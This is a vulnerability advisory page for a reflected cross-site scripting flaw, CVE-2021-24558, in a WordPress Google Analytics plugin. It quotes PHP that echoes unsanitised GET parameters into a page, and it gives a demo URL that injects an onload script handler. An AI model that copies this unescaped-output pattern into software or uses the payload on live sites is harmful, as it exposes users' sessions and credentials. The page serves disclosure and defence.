Advertisement






WordPress TR Easy Google Analytics 1.0.0 Cross Site Scripting

CVE Category Price Severity
CVE-2021-24558 CWE-79 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2017-10-11
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017100083

Below is a copy:

WordPress TR Easy Google Analytics 1.0.0 Cross Site Scripting
Class  Input Validation Error
Remote  Yes
Reflected Yes

Credit  Ricardo Sanchez
Vulnerable TR Easy Google Analytics plugin 1.0.0

TR Easy Google Analytics plugin is prone to a cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because all this values aren't filter correcly:

<style>
p {
margin-left: 50px;
margin-right: 20px;
font-family: <?php echo $_GET['font-family'] ?>;
color: <?php echo $_GET['color'] ?>;
font-size: <?php echo $_GET['font-size'] ?>;
font-weight: <?php echo $_GET['font-weight'] ?>;
font-style: <?php echo $_GET['font-style'] ?>;
line-height: <?php echo $_GET['line-height'] ?>;
letter-spacing: <?php echo $_GET['letter-spacing'] ?>;
text-transform: <?php echo $_GET['text-transform'] ?>;
font-variant: <?php echo $_GET['font-variant'] ?>;
text-shadow: <?php echo $textShadow ?>;
}
body {
margin: 20px 0;
background: #fff;
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
body.dark {
background: #333;
}
</style>
....
<body class='<?php echo $_GET['dark'] ?>'>


Demo url:http://localhost/wordpress/wp-content/plugins/tr-easy-google-analytics/theme-option/iframe-font-preview.php?dark=%27onload%3d%27alert(%22XSS%22)%27

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum